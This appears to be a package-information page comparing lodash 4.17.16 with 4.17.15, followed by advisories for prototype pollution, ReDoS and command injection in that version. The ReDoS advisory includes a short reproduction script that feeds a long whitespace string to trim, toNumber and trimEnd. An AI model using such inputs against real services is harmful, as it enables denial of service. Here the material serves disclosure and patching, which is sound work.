Lodash version 4.17.16 represents a subtle refinement over its predecessor, 4.17.15, offering notable improvements for developers relying on this ubiquitous utility library. While both versions share the same core mission of providing modular JavaScript utilities under the MIT license, and are authored by John-David Dalton, a closer examination reveals key differences particularly in size and release cadence. Version 4.17.16, released around July 2020, showcases a smaller footprint compared to 4.17.15 released about a year prior. The unpacked size dropped significantly from approximately 1.4MB to just under 600KB and the number of files included in the package diminished considerably suggesting optimizations in the build process or potentially the removal of redundant files. These size reductions can translate to faster installation times, reduced disk space usage, and potentially better performance in browser environments, especially critical for front-end developers optimizing for page load speed. While the core functionality remains consistent, developers upgrading should test their applications, it's unlikely that the changes in size and files affect the functionality of lodash for most users. Primarily, this release highlights lodash's ongoing commitment to efficiency and optimization. For developers seeking a more streamlined and efficient lodash experience, version 4.17.16 presents a compelling upgrade path; however, it is advised to check for incompatibility as size and file differences can impact specific use cases.
All the vulnerabilities related to the version 4.17.16 of the package
Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.
This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.